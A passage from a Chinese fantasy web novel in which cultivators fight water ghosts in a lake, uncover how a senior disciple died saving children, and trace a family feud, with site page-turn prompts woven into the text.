其实,这样安静的氛围,对他们来说并不多见。 往常几人坐在一处时,总是叽叽喳喳说个不停,一刻也不得闲。 现如今,却只是沉默的望着对方。 说来也是奇怪,尽管相识已久,但他们似乎像现在这般静下心来,好好的看一眼彼此。 傅霖眼角带笑,目光温柔的着看向坐在对面的邱漓。 他突然发现平日里让他有些头疼的小丫头,似乎也没那么讨人嫌,是因为她此刻没说话的缘故吗? 想到这里,傅霖不禁哑然失笑。 果然,她就不适合长嘴! 随后,他的视线稍稍偏移,瞥向另外两人。 好你个秦在锦,右面明明有更宽敞的位置,却非要跟冬苓挨着。 时间在沉默不语的笑声中流逝,不知不觉间,过去了一炷香的功夫。 江洵伸出手指,朝着下方的位置轻扣了一下,而后和坐在身侧的傅霖一同站起了身。 镜湖上方的天空湛蓝如洗,日光照射在湖面,泛起波光粼粼,好在今日不算太冷,湖水的温度也能接受。 江洵深呼一口气,纵身一跃跳入湖中。 入水的瞬间,湖水迅速包裹住身体,他努力保持镇定,调整呼吸。 那药物果然有效,在水中也能够自如地控制呼吸节奏,不受水下压力的过多限制。 随着身体不断下潜,周围的光线逐渐变得昏暗起来,湖水的能见度也越来越低。 只是让人感到毛骨悚然的是,缠绕在二人身上的头发也越来越多, 那东西如同有生命一般,紧紧地攀着他们的四肢和身躯。 就在这时,一只冰冷刺骨的手突然从黑暗中伸出来,死死地抓住了江洵的脚踝。 江洵连忙回头看去,只见一个面目狰狞、浑身散发着黑色雾气的水鬼,正瞪着那即将脱离眼眶的眼球瞧着他。 那张扭曲变形的嘴巴还在不停地一张一合,似乎在咀嚼着什么东西。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!江洵猛地抬起另一只脚,想要朝其头部踹过去。 而那水鬼反应速度极快,立刻抬起另一只手,轻而易举地格挡住江洵的攻击。 见此情形,江洵当机立断,迅速甩出一直藏在袖间的匕首。 同时,借助水的浮力弯下腰,朝着水鬼猛刺过去。 而不远处的傅霖特发现了这边的情况,随即用内力将湖水凝结成冰刃。 弹指间,数道冰刃疾驰而去,准确无误地刺穿了水鬼的手臂。 几乎在同一时刻,江洵手中的匕首划过水鬼的脖颈,只听“噗”的一声闷响,尸首分离,一股黑色的血水顿时弥漫开来。 但这只是开始,因为刚才的动静已经引起了四周其他水鬼的注意,纷纷从四面八方游向江洵和傅霖所在之处。 本该僵硬的身躯却像水蛇一般迅速灵活,不停地在两人身侧来回穿梭、徘徊不定。 那模样像是在等着江洵和傅霖率先出手。 傅霖察觉其意图,挑了下眉,倒也不再客气。 右臂抬起的瞬间,行野已然召在手中。 随即,一剑刺入水中,剑势如狂龙出海,搅动着水底的暗流,逼着水鬼不得不靠近他们。 江洵看着眼前的局势变化,双手结印,操纵着匕首。 借着方才行野打出的漩涡,匕首如同游鱼,灵活地穿梭在各个水鬼之间。 每靠近一只水鬼,便斩下一只头颅。 刹那间,漩涡中生出朵朵血花。 二人配合的十分默契,一人负责浑水,一人负责杀鱼。 不多时,弥漫在周围的浓浓黑雾开始渐渐消散开来。 视线开始变得清晰,自然也瞧见了湖底深处有一道洁白如雪的身影。 那人安静地伫立在那里,一袭白衣胜雪,衣袖和发丝随着水波轻舞,缓缓飘动着。 昨晩由于情况紧急加之光线昏暗,未能看清此人面容。 然而,此刻再次相遇,傅霖心中已然有了某种猜测,但却又不敢轻易确定。 江洵在看清那人的模样后,瞬间愣住了。 他仿佛明白了师父为何执着于让他来做这个任务。 也明白了陈叔为何会被调到距离此处最远的辛夷城。 更明白了沈亦行为何会说镜湖任务,势在必得。 可......怎会如此? 他不是已经死了吗? 哪怕江洵并没有亲眼见过他,但此人同画上那人的容颜一模一样。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第161章 冷眼旁观 另一边,平静的湖面上。 秦在锦自那两人跳入水中后,一颗心就紧紧地悬了起来。 总是不由自主地将身子探出船头,朝着水下张望。 这湖水太深了,他根本就看不清下面究竟是什么情况,倘若那二人真遇到了什么危险,他根本就来不及跳下去救人。 他明白,把他留在上面,并非不相信另外两人有自保的能力。 而是,这其中还得有个人得掐算着时间。 按照计划,他得提前半个时辰向江洵传递消息,提醒他们不管任务是否完成,都需得赶快抽身浮出水面。 而此时,时间已过去了半个时辰。 在他又要探身去查看湖水时,原本平稳的船只像是被什么东西撞击了一般,开始剧烈的摇晃起来。 刚要站起身的冬苓猝不及防,险些摔倒在地,还好被一旁的邱漓稳稳拽住了。 待她稳住身形,匆忙俯身朝下看去。 这不看不打紧,只见一双双毫无血色的手正从水底伸出来,疯狂地抓挠着船底,试图借力向上攀爬。 有的甚至还用尖锐的指甲缓慢地划过船身,发出令人毛骨悚然的“嘎吱”声。 冬苓只觉得两眼一抹黑,如果自己耳朵里没有塞着棉花,那她听到这声音绝对会抓狂。 而后,迅速转过身去,朝着坐在船舱内的邱漓打了个手势,示意她不要轻易露面。 此时,一只水鬼悄无声息地游到秦在锦身后,缓缓从水中冒出头来。 它全身湿漉漉的,散发着一股令人作呕的腐臭气息,想要趁此偷袭正背对着他的秦在锦。 而这一幕恰好被邱漓撞见,嘴上还没说出那句“锦哥小心”,手中飞刀便如闪电般地扔了出去。 刀尖上涂着毒,虽说水鬼皆是已故之人,但那毒药却带着强烈的腐蚀性。 飞刀在扎进身子里的那一刻,令本就不完整的肉身加速腐烂,待皮肉剥落后,露出了惨白的骨头。 秦在锦这才察觉到身后的异样,猛地转过身来。 方才那块水域出现的水鬼,并不止偷袭的那一只。 说时迟那时快,当其他水鬼张牙舞爪地朝他扑上来时,秦在锦手中的藤蔓如灵蛇般出击。 眨眼之间,便紧紧缠绕着水鬼的四肢,令其动弹不得半分。 每当他控住一只,邱漓便准确无误的补上一刀。 再看船身另一端,冬苓双手快速结印,召唤出了碎月。 随着手臂的挥动,荆棘密布的鞭子在空中划出一道弧线,狠狠地抽打在那几只试图上船的水鬼手上。 被打到的双手就如同被无数根银针刺穿,剧痛难忍。 无奈之下,它们只好松开船身,灰溜溜地缩进水里。 与此同时,身在湖底的江洵及傅霖,待看清那人模样后望向彼此,视线交汇的瞬间,他们心中便已了然,并未认错人。 只是,有一点可以确定,那人虽和陈丰年长相一致,但绝对不会是陈丰年本人。 傅霖儿时曾听林笑君提及过此人,重情义,明是非,知善恶。 若他还活着,想必如今的三阁就是他来接手了。 这样的人又怎会甘愿躲在不见天日的湖底,当一只臭名昭着的水鬼? 可在死之前,都没人知道他到底经历了什么,甚至无人知晓他是因何而死。 如今看来,定是同镜婪脱不开关系。 江洵收回匕首,召出献岁。 既然顶着前辈的脸行凶作案,那必然要以对待前辈的礼数回敬一番。 他即刻运转灵力,眨眼之间便冲到了镜婪身前,刀刃即将触碰到身体之时,镜婪不仅没有躲避,反而直接抬手格挡。 刀与胳膊相撞的瞬间,发出“当”的一声。 江洵闻声挑了下眉,它这肉身......难不成是铁做的? 正疑惑间,镜婪顺势反击,一拳向着江洵面门打来。 江洵连忙侧身躲开,同时献岁反手一挥,割破了镜婪的白色衣衫。 傅霖一跃冲向镜婪的背后,手持行野向其背部刺去。 而那妖物仿佛背后长了眼睛一般,身子一转就避开了傅霖的攻击,并且抬起右脚踢向傅霖。 傅霖身子向后仰去,堪堪躲过一击。 而镜婪却并未放弃,一个穿刺游到傅霖眼前儿,趁他起身的瞬间,放出一股黑雾弥漫在他脸庞。 傅霖赶忙抬手掩住口鼻,尽量不让自己呼吸进去。 水面上,秦在锦等人刚击退一波水鬼,还没歇多久,另一波水鬼又涌了上来。 邱漓一边丢着飞刀,一边喊道:“这样下去不行,太多了。” 她飞刀都快扔完了! 冬苓咬咬牙,双手结印的速度更快,碎月的鞭身加长,荆棘增多,每次挥舞都能扫退一片水鬼。 可那东西仿若无穷无尽,根本就杀不完,这湖到底吃了多少人! 冬苓烦躁的“啧”了一声,对另外两人喊道:“咱得想想法子!” 湖底,江洵再次冲向镜婪,这次他改变策略,选择用献岁去刺镜婪的腹部。 这章没有结束,请点击下一页继续阅读!镜婪双手交叉抵挡,江洵却突然化刺为砍,直直砍向镜婪的双腿。 那人躲闪不及,腿上被划开一道口子,黑色的血液流出。 镜婪吃痛,怒吼一声,周围的湖水泛起阵阵涟漪,迅速化成漩涡朝着江洵和傅霖冲击而去。 二人急忙运起灵力抵抗,就在双方僵持不下时,江洵发现镜婪受伤处的伤口正在快速愈合。 江洵眉头紧皱,对身侧的傅霖打着手势:“速战速决。” 傅霖微微颔首,二人眼神交流间达成默契。 于是,由江洵佯攻上方,傅霖瞅准时机再次刺向镜婪腰部。 镜婪躲避时露出破绽,江洵的献岁狠狠刺入其肩部。 那人刚想要反击,却被傅霖一脚踹开。 而江洵趁机在镜婪身上布下禁制,镜婪行动顿时有所迟缓。 “带上去。”傅霖伸手,向让指了指。 此时,一阵悠扬笛声传来,水鬼们像是受到极大震慑,纷纷停止动作,而后转身潜入水底消失不见。 身在湖底的镜婪也似受到影响,一脸迷茫的四处张望,江洵趁机掏出锁灵囊将其收入囊中。 他听得出这笛声,是出自深塘坞的那支笛子。 起初他本想自己留着,以备不时之需。 可直到遇到邱漓,他觉得这东西还是物归原主为好。 虽然这笛子本身并不是邱漓的东西,但归根结底,都是从深塘坞出来的。 因此,在邱漓修为有所长进,能够自保后,他便将这笛子交给了邱漓。 具体如何使用,何时使用,全凭邱漓一人做主,他不会多加干涉。 如今看来,当时这个决定是对的。 瞧瞧,这不就派上用场了。 二人拿着锁灵囊就赶忙上岸,在即将浮出水面时,傅霖心中忽地升起一股异样之感。 他敏锐地扭头向后看去,身后除了清澈的湖水和荡漾的波纹之外,没有半个人影或者其他东西追来。 可他的直觉向来不会出错。 正当他想要提醒江洵多加注意周围的时候,却发现江洵早已不在自己身边,放眼望去,整片湖水只剩他自己一人。 幻境? 可他自始至终除了笛声以外,并未听到过任何奇怪的声响,应当不会是入了幻境。 但若不是幻境,江洵又怎会突然消失不见? 傅霖逐渐平复情绪,试着先向上游去,当看到头顶上漂浮的小船时,加快了速度。 他翻身跃上船板,瞧见船舱内空无一人,秦在锦等人并不在这里。 这下可难办了…… 上次进入幻境,好歹还有跳进水中才得以脱身的方法。 可如今他人就在湖上,又该如何破解? 而另一边的江洵,刚想翻身上船的时候,猛的停下了动作。 “怎么了?”秦在锦有些疑惑的问道,同时伸出手,打算去接他。 “傅霖怎么没跟上来。”江洵呢喃道,而后回头,朝着水中望去。 只见那人静静地浮在水中,双眼紧闭着,半晌都没有动作。 江洵这才想到不对劲的地方,镜婪喷在傅霖脸上的黑雾或许真有问题。 当时他并非没有察觉到异样,只是看傅霖的神情并无不妥之处,他便以为那阵雾气没有问题。 江洵将锁灵囊放到秦在锦手上,紧接着又一头扎进水中,朝着傅霖的方向游去。 那人的双脚仿佛被一条看不见的绳索紧紧拴住,任凭江洵如何用力拉扯,他的身子都纹丝不动。 这么僵持下去不是办法,只要他们还在镜湖之内,就不算是脱离险境。 思及此处,江洵折回找到秦在锦,让他们仨带着锁灵囊先走,找一个安全的地方等着他俩。 秦在锦自然明白江洵的顾虑,并未多言,只是叮嘱他两句注意安全的话语后,便御船先行了。 他清楚当前的局势,并没有到那种“要走一起走”的局面。 况且,镜婪既已被收到囊中,那这湖中定不会再有更大的隐患。 而邱漓自吹完笛子之后,就毫无征兆地昏睡了过去。 秦在锦见状上前检查,好在这丫头就是灵力透支导致的昏迷,并无生命之忧。 秦在锦不知是该松一口气还是叹一口气。 说到底,邱漓如今也才十二岁,只是身体和心智上相比同龄人要成熟些许,可她也本该是无忧无虑的年纪。 但却一天天的跟着他们东奔西走,甚至好几次差点丢掉性命。 “去玉沙?”秦在锦出声问道。 “安全的地方,也只有玉沙了。”冬苓边回话,边担忧地朝着江洵所在的地方望去。 此时,湖中的江洵费了九牛二虎之力,尝试了各种方法后,终于将那无形的绳索砍断了。 随即,立马带着傅霖向上游去。 他已经感知到避水珠的药效在逐渐散去,因为他的呼吸变得不再似之前那般通畅无阻。 真是该死啊! 从这儿游到岸边,那他不得累死? 更甭提还得拖着傅霖这么大个人了。 苍天呐! 这章没有结束,请点击下一页继续阅读!他没事儿发什么善心? 等人终于游到岸边儿的时候,太阳都快落山了。 他又背着湿哒哒的傅霖来到一棵树下躺着,同时调动灵力,给那人将头发和衣物都烘干。 扯平了,不欠了。 等干完了这些事儿,傅霖依旧未从幻境中醒来。 江洵此刻气的只想骂娘,可无奈他累的一句话也说不出来了。 原来人在生气的时候,是真的会笑的。 当傅霖悠悠转醒之时,发现自己已经躺在了客栈的床上。 身下的床铺虽然略显粗糙,却带着一丝温暖与舒适。 他转动着脑袋,目光落在了趴在床边儿,已然睡着的江洵脸上。 那人紧闭双眸,呼吸平稳而均匀,似乎睡得很沉。 傅霖静静地凝视着他,心中不禁涌起一股复杂的情绪。 他直到现在都不敢确定自己是否真的出了幻境。 幻境之中是无数个幻境,仿佛层层镶嵌,环环相扣一般,没有终点,也不知起点。 无论他怎么逃,怎么破局,最后都会毫无预兆地闯进下一个场景。 这是他生平第一次产生了惧意,他怕自己再也出不去,他怕幻境之外的江洵会等着急。 待他静下心来,重新整理思绪之时,发觉此幻境并非是他一人的幻境。 因为有许多地方都是他从未涉足过的地方,还有一些人更是他素未谋面的陌生人。 尤其是当他看到身在栖花里的林若笙等人时,突然间有所顿悟。 莫非,他误打误撞地闯入了陈丰年的梦境? 原来,在陈丰年生命的最后一刻,他都希望能用自己的命去换他人的生。 可是结果呢? 换来的只有冷眼旁观以及见死不救! 当年,陈丰年从中律司接了一个任务。 任务地点是在与春县,任务目的是铲除在此地为非作歹的水鬼。 初时,他只当这是一个再平常不过的戊级任务,想着做完任务后,还能同他爹陈致知一起回献岁阁。 可他低估了水鬼的能力。 此鬼作祟并非仅仅以夺取他人性命为乐那么简单。 它所擅长者,是悄然潜入人们的脑海之中,窥探那些深藏心底的记忆,进而巧妙地编织出一个个如梦似幻的场景,使人深陷其中难以自拔,最终在不知不觉间溺水身亡。 显然,他的目的并非是要索命之后进入轮回道,而是纯粹地残害无辜之人的性命罢了。 那时的水鬼还不叫镜婪,而是被唤作唐阑。 唐阑自知陈丰年并非普通百姓那般,能被轻而易举的引入幻境中去,遂心生怯意,当即准备伺机逃跑。 而在他仓皇出逃途中,意外地撞见了正在水边嬉戏玩耍的花停云等一众孩童。 于是乎,他当下心生一计。 先是缓缓浮出水面,引得孩子们靠近观察。 待到他们聚拢过来,毫无防备之心时,猛然出手将他们一并拖入水中。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第162章 命运无常 当陈丰年心急如焚地追赶上去时,眼前的景象令他的心瞬间提到了嗓子眼儿。 那些无辜的孩子们在湍急的河水中拼命挣扎,生命危在旦夕,如果再耽搁片刻,后果将不堪设想。 陈丰年对着躲在水中的唐阑大声吼道:“你放过这些孩子,我且饶你一命!” 可唐阑又怎会轻易相信这番话? 他心里清楚得很,自己就算躲过今天这一劫,日后也必定会遭到陈丰年无休止的追杀。 与其如此,倒不如拼死一搏,或许还有一线生机。 于是,他为了能够更快地逃脱陈丰年的追捕,毫不犹豫地将孩子像扔包袱一样统统甩了出去。 这些孩子就如同断了线的风筝一般,直直地朝着陈丰年的位置扑去。 陈丰年见状,心中大惊,双手快速结印。 眨眼间,一阵强风拂过,稳稳托住了他们。 他不敢有丝毫耽搁,又以最快最稳的速度将孩子们送上岸边。 待安置好以后,陈丰年转身再次向着唐阑逃走的方向疾驰而去。 如果他没看错的话,应当还有一个男孩尚在唐阑怀中。 就在陈丰年穷追不舍之际,另一边,花岐和陈致知等人也得到了孩子们失踪的消息,立刻派出人手沿着河流搜寻。 当陈丰年跟上唐阑的身影时,发现他怀中的孩子已经昏迷不醒,奄奄一息了。 他迅速召出佩剑——听颂,口中一边念念有词,一边调动起灵力注入剑身之中。 刹那间,听颂光芒大放,剑身嗡嗡作响。 陈丰年手持听颂,用力一挥,一道凌厉的剑气呼啸而出,直入河中。 紧接着,他手腕一抖,控制着剑身在河水中飞速搅动起来。 随着陈丰年不断发力,平静的河面渐渐形成了一个巨大的漩涡。 这个漩涡越转越快,越变越大,强大的吸力将唐阑周围的黑雾尽数卷入其中。 唐阑只觉得身形不稳,一个没留意,怀中的孩子就被陈丰年抢了过去。 而此时,陈丰年也终于透过逐渐消散的黑雾看清楚了唐阑的真面目。 竟只是一个不过十来岁的孩子。 可眼下哪还有时间去思考这些,刚想扛起花停云上岸的时候,突然间感觉到脖颈处传来一阵紧绷之感。 他怔愣的回头,发现花停云不知何时已经醒来,用他自己的发带缠住了他的脖子,而发带两端则被唐阑紧紧握在手中。 他甚至还未明白到底发生了什么,便被花停云猛地一脚踹开,又迅速转身向上游去。 原来,他根本就没有昏迷,他方才那些都是装的。 可惜,花停云本就不会游泳。 哪怕他自由了,在还没游上去之前,就会因为体力不支而溺亡。 陈丰年望着那个小小的身影在水中艰难游动的样子,不禁涌起一丝无奈和苦笑。 他伸手从怀中掏出那颗已经开封的避水珠,然后使出全身的力气上前一把抓住了花停云的脚踝。 花停云误以为陈丰年此番举动是想要借机报复他刚才的行为,于是拼命地挣扎,试图用脚去踹开陈丰年。 可他一个孩子,力气并不敌陈丰年。 就在花停云被陈丰年用力拽下来的那一刹那,陈丰年微微俯下身,凑到他的耳边艰难地说道:“不怪你,快去喊大人来。” 话落,他将避水珠轻柔地放进了花停云的怀里。 这是林笑君送他的避水珠,说是龙潜谷新研制的小玩意儿,可保持有者在水下正常呼吸整整一个时辰。 他当时还笑着调侃,若是时间能延长些就好了。 再或者,将其制成药丸服用。 要不然,万一在打斗中,这珠子脱离了身子,岂不就是没用了? 如今想来,幸亏没有制成药丸,不然这时候他就没办法留给这小孩儿了。 在身后的唐阑用力勒紧发带的瞬间,他顺势一把推开了花停云。 以他的死,换来他的生。 花停云上岸之后,不停的往回跑。 他不知道究竟要跑去哪里,可他知道总归不能停在原地。 当他在一棵树下看到另外几个昏迷的孩子时,才缓缓停了下来。 他大口的喘着气,胸口剧烈起伏着,整个人都害怕极了。 其实,在陈丰年未追上他们之前,那水鬼曾与他做了个交易。 那人声称,只要帮他把陈丰年困在水里,便会放他一条生路。 他也有过挣扎和反抗,也想维护心中的正义,宁死不屈。 可是......求生欲战胜了一切。 比起那不值一提的正义,他更想要活下去。 当花岐和陈致知匆忙赶到的时候,孩子们已经清醒了,而他们睁开眼第一个看到的人是花停云。 花停云曾警告他们,今日遇到水鬼的事情,最好不要透露半句,否则那水鬼便会回来找他们索命。 本就是些心智不成熟的孩子,刚从生死边缘捡回一条小命,此刻能够侥幸存活已然是不幸中的万幸。 自然是花停云说什么,他们便信什么,哪怕心中尚存些许疑惑,也不敢有丝毫违背之意。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!所以当赶到的大人询问发生了何事的时候,他们也只说是一时贪玩,不慎掉进了水里。 也是全靠花停云出手相救,他们才得以活命。 陈致知默默地注视着眼前几个孩子,想要上前多询问几句,可又觉得自己此时不该多管闲事。 既然孩子们都没有生命危险,那么其他的事儿便算不得大事儿。 可他不知道的是,他的儿子,就在不远处的水底,被那唐阑紧紧地勒住脖子,最终被活活勒死。 而那唐阑自陈丰年一事后,便顺着河流,逃到了镜湖,在那处蛰伏了起来。 他知道要想活着,就得忍耐。 否则,会有无数个陈丰年前来找他索命。 “这事儿......”坐在床边的江洵眉头紧蹙,欲言又止。 他不知是否应该告诉陈叔当年的真相,陈叔身为陈丰年的父亲,于情于理都应当知道儿子的死因。 可事情已然过去了这么多年,他知道了,又然后呢? 镜婪现如今是已被擒获,可那花停云呢? 让他为自己当年的撒谎和背叛付出代价吗? 况且,依着陈叔的性子,若是知道了实情,应该会更恨自己吧。 若是他当时坚持心中所想,再唠叨的多问上几句。 或许.......陈丰年还有获救的可能。 江洵思绪纷乱之际,一旁的傅霖轻声劝慰道:“别想了,让你师父去纠结。” 既然是江挽要查的事情,想必她心中或多或少已有了一些头绪和答案。 至于要不要将真相全盘托出,自由江挽去决定。 只是傅霖突然想到,那避水珠后来之所以会有所改进,或许是因为陈丰年。 在龙潜谷,每个去取避水珠的人,都会得到一句叮嘱:请事事以自己的性命为先。 或许,阿娘也希望陈丰年能活的自私一些吧。 林笑君、陈丰年及林若笙三人自幼便相识,后又一同拜在林静姿门下,既是同门,又似亲人。 他们三人之间是无数个日日夜夜的陪伴,背后是不问缘由和立场的支持。 即使长大之后不在一个地方行事,也会因为彼此的一封书信,而放下手中事务,快马加鞭地赶到对方身边。 他们希望彼此过的快乐,活的洒脱。 更希望对方能大大方方的,奔赴自己的心之所向。 然而,世事难料,命运无常。 如今三人之中,活下来的只有林笑君一人。 林若笙至今未查到杀害她的真凶,而陈丰年当年又是落得如此下场。 若是林笑君当初没有改变心意,孤身前往龙潜谷,恐怕也是难逃一劫。 想到这里,又怎能不令人心寒。 这时,傅霖突然想起了秦在锦等人,开口问道:“锦哥他们怎么样了?” “回玉沙了,我已给他传了木鸽,告诉他我们明日一早便过去。” 话落,江洵缓缓站起身来,捶了捶有些发麻的小腿。 傅霖见状,又问道:“你去哪儿?” “自然是回房间,睡觉啊。” 江洵蹙了下眉,觉得他句话问的莫名其妙。 这个时辰了,不睡觉干嘛?回忆往昔吗? “你不睡这儿?” 傅霖回话的时候,眼神带着几分疑惑,同时抽出手来拍了拍身侧的床板。 江洵闻言,回头看着傅霖久久没有说话。 而傅霖此时,也察觉出这话问的有些不太妥当。 一时间,整个房间里安静得只能听见两人细微的呼吸声。 之前睡一张床,无非是因为房间不够,或者不想麻烦主家费心再去收拾一间屋子。 而如今,客栈的房间充足,钱袋的银子也管够,更不用担心去麻烦旁人。 那就没道理还睡在一屋。 江洵忽然微微垂下眼眸,轻笑出声。 当他再抬眸时,眼中闪烁着一丝不易察觉的捉弄之意。 “傅公子今年贵庚啊?我记着二十有二了吧,怎么?晚上睡觉还得人陪着哄着么?” 这句话虽带着几分调侃之意,但说出来的语气却十分轻柔,像是玩笑又像是哄人。 傅霖迎上江洵的目光,满脸真诚,双眸更是毫无半分心虚之色,反倒显得格外坦荡。 只见他挺直了腰背,轻咳了一声回道:“对啊,我怕黑,不行吗?” “行。”江洵说完这话,无奈地摇了摇头,轻轻叹息了一声。 紧接着,他迈开步子,缓缓地绕过傅霖的身体,走到床边。 然后微微俯下身去,在即将靠近傅霖的时候停住了动作。 “清心凝神,明儿还我。” 江洵的声音低沉而富有磁性,仿佛一阵微风拂过傅霖的心弦。 说完这句话后,又直起身子,转身朝着门口走去,同时不忘将房门合上。 而傅霖这才侧头望去,只见枕边放着一只他们三阁特有的香囊。 绿色的封口流苏,药效是驱鬼避邪,清心凝神。 傅霖盯着那香囊看了好一会儿,而后笑出了声。 纯气笑的。 不是,他几个意思? 本小章还未完,请点击下一页继续阅读后面精彩内容!玩我呢? 而江洵那边刚一进门,就看到了坐在桌前的沈亦行。 他又赶忙退了出去,看了一眼房门。 没走错啊,是自己屋啊。 “沈亦......行哥,你怎么......在这儿?”江洵问道。 他方才其实想脱口而出的是:沈亦行,你怎么强闯民宅……的。 可转念一想,这里又不是他家。 况且,这既是琼州,那对于他们所在的位置,沈亦行自然了如指掌。 沈亦行听着他那番支支吾吾的回话,猜出了他真实的想法。 只见他微微一笑,用手敲响了面前的桌子,朝江洵做了个手势,示意他过来看个东西。 他身旁的桌上放着一本册子,待江洵坐下之后,沈亦行推到他跟前儿,让他打开看看。 江洵虽有疑惑,但还是听他的话,伸手拿起那本册子,翻开查阅起来。 待他看了前两页后,觉得这更像是一份详尽的族谱。 上面密密麻麻地记录着与春县——唐家有关的所有族人信息。 江洵的目光沿着文字逐行移动,最终停留在了其中的一行字上。 只见那行字清晰地写道:唐朝明膝下育有两子,长子名曰唐凌越;次子则唤作唐阑。 再往下看,唐凌越之子名叫唐振,正是隅湘县的那户唐家,也就是崔小淇的前夫。 看到此处,江洵不禁轻声呢喃道:“如此说来,唐阑岂不就是唐振的叔父么?” “嗯。” 沈亦行回应间,伸出右手,用手背轻轻地触碰了一下壶身。 这举动似乎是在试探茶水的温度。 紧接着,他又将手心贴在壶身上。 没一会儿的功夫,茶壶里的水已不再如先前那般冰冷,而是恰到好处的温热。 沈亦行这才提起茶壶,手腕轻转之间,冒着热气儿的茶水倾泻而出。 他将第一杯给了江洵,然后才又为自己倒上一杯。 在那人递来杯盏之时,江洵注意到他左手无名指上佩戴的戒指。 他认得那个东西,是一颗金珠。 之前曾被沈亦行用红绳穿起来,戴在腕间。 如今红绳却被编成了戒指,看那编法还是“双向平结”。 只是红绳的尾端依旧留出了些许红线,随着手指的摆动而轻轻摇曳。 若江洵没猜错的话,这颗金珠,应当是从江挽那个金镯子上切割下来的一部分。 因为它的大小与那只镯子上的缺口相差无几。 而无论是编成戒指的红绳,还是缠在镯子上红线,看那颜色和质地,想来用的也是同一种丝线。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第163章 知法犯法 崔小淇曾言,唐家并非隅湘土生土长之人,乃是自他乡迁徙而来。 这册子上记录的唐家是与春县的唐家,那么一来,唐振的祖上便是在与春人。 陈丰年当时所接的任务地点也是在与春县,而唐阑又恰好是那次任务的目标。 说明唐家在迁居之前,或者迁居途中,唐阑便已经离世了,他也并未在隅湘生活过。 而他在镜湖盘踞多年,曾害人无数,其中就有辛时年的父亲及爷爷。 辛家也因此而记恨上崔家,并刻意将唐振引荐给崔小淇,妄图毁了她的一生。 但谁能料到,唐振竟在昨日被辛时年持刀杀害。 这一切仿佛在冥冥之中构成了一个封闭的圆环。 唐家的水鬼曾杀了辛家人,而辛家的人在十几年后杀了唐家的“鬼”。 俩家之间的恩怨,到头来最深受其害的竟是无辜的崔家。 就是不知那唐阑,当时又是因何而死。 “玉饶县有一大户,南华城将近七成的客栈,皆是谈家名下的产业。” 沈亦行说到此处,伸出食指敲了敲身侧的桌子,缓声道:“这一家,也是谈家的。” 坐在对面的江洵,脸上露出了一丝疑惑,这谈家跟他们现在所说的话题有什么必然的关联吗? 只听沈亦行不疾不徐地继续说道:“从与春县前往隅湘县,中间必然会途经玉饶县。” “谈家如今的家主谈玉徽,此人年少时,曾带着一众家仆到河边游玩,玩耍间害死过一个孩子,而那孩子便是唐阑。” 此话一出,江洵瞬间明白了二者之间的关联。 沈亦行饮下一口热茶后,开口问道:“你猜谈家的客栈为何只能开在南华城内?” 江洵略作思考,迟疑的回道:“因为......唐阑?” 沈亦行满意地点点头,表示肯定,进一步解释道:“南华城周边的众多湖泊和河流之中,都潜伏着听从镜婪号令的水鬼或水怪。” 谈家也曾想把自家客栈开到东宁城去,可是负责外出洽谈生意的人员在路过镜湖之时,总会遭遇不测,连人带船一同消失不见。 哪怕近两年,可以绕过水路,选择陆路前往东宁,期间也会有人接连发生意外身亡,而死因皆与水有关。 久而久之,谈家便不敢再轻易尝试去其他地方开设分店了。 “他这是在报复。”江洵口中轻声呢喃着这句话。 沈亦行微微颔首,而后拿出五个信封,上面工整地写着“玉饶县”三个字, “里面装着任务书,你们在返回献岁阁的路上会经过这里,顺便把这个任务一起做了吧。” “沈哥为何不明日再给我?我跟傅霖明日早上会去一趟玉沙。” “我明日不在玉沙,一会儿便同小五启程前往上京,另外四份任务书,你替我转交给他们吧。” “好。”江洵点头应道。 说来也怪,若是旁人突然塞给他一个任务,再毫不客气吩咐他去把任务解决了,那他指定是不乐意的。 可若是沈亦行给的,他却没有一丝抵触的情绪,甚至没问沈亦行为何要交给他做。 就如同沈亦行没有提前问他愿不愿意一样,他知道江洵一定会接下。 仿佛一切都是那么理所当然。 “时辰不早了,早些休息吧。”沈亦行说完这些,起身朝门外走去。 “沈哥。”江洵对着那人的背影喊道。 “嗯?” 沈亦行闻言停下步子,回眸望去。 二人一站一坐,一去一留。 他们有着相似的眉眼,清澈又朦胧。 只听江洵轻声说道:“上京城风大,莫染了风寒。” 沈亦行闻言,有那么一瞬间的怔愣,而后垂眸笑道:“好,洵儿也是,任务中多注意安全。” 那人走时,帮江洵带上了房门。 这刚一转身,就撞见了靠在墙边,阴沉着脸盯着他打量的傅霖。 沈亦行看着他那副要吃人的表情,起初还有些不解,随即又好似明白了什么。 于是,上前一步,压低了声音笑着解释道:“我来送线索,这就走了。” 傅霖闻言,挑了下眉,并做了个恭送的动作。 翌日一早,二人在楼下简单地吃了早饭后,便前往玉沙阁。 途中,傅霖漫不经心地问道:“今儿这风......有点大啊。” 江洵想也没想的就回道:“还好吧。” “一会儿得让锦哥帮我看看,是不是得了风寒。” 江洵听到这句,冷笑一声,敢情是昨晚上没睡觉,跑他这听墙角来了? 二人赶到玉沙,甫一进门就看到了站在院中向外张望的秦在锦。 那人还未来得及询问昨日都发生了什么的时候,就被江洵拽到一边,说道:“快去给咱霖哥瞧瞧,我怕来晚了他就死了。” “啊?这么严重?信中不是说没有大碍么?” 秦在锦赶忙望向身后的傅霖,可看这人气色红润,完全不像是病入膏肓之人。 “别看了,死不了。”傅霖翻了个白眼,没好气的回道。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!待几人坐下后,江洵便把昨日遇到的事情从头到尾地同几人交代了一遍。 同时,又将装着任务书的信封分给他们。 傅霖听完,从乾坤袋中掏出了之前的那个木雕娃娃。 “这刻的应该就是唐阑吧。” “放出来问问。”江洵说道。 “你这儿可有锁灵绳?”傅霖抬头问向冬苓。 放他出来是没问题,但问题在于,他会不会钻空子逃跑,毕竟他一直都挺会逃的。 冬苓思索了一瞬,俯下身来凑近四人,压低声音悄悄说道:“锁灵绳没有,锁灵室可以吗?” 此话一出,几人顿时齐刷刷的朝她看去。 邱漓一脸狐疑的看着冬苓,问道:“姐姐,你说实话,咱这儿......是合法的地方吗?” 锁灵室! 那可是锁灵室! 这可不是随随便便什么地方都会有的。 据她所知,也只有中律司那种权威且正规的地方,才被允许去修建这样特殊的房间。 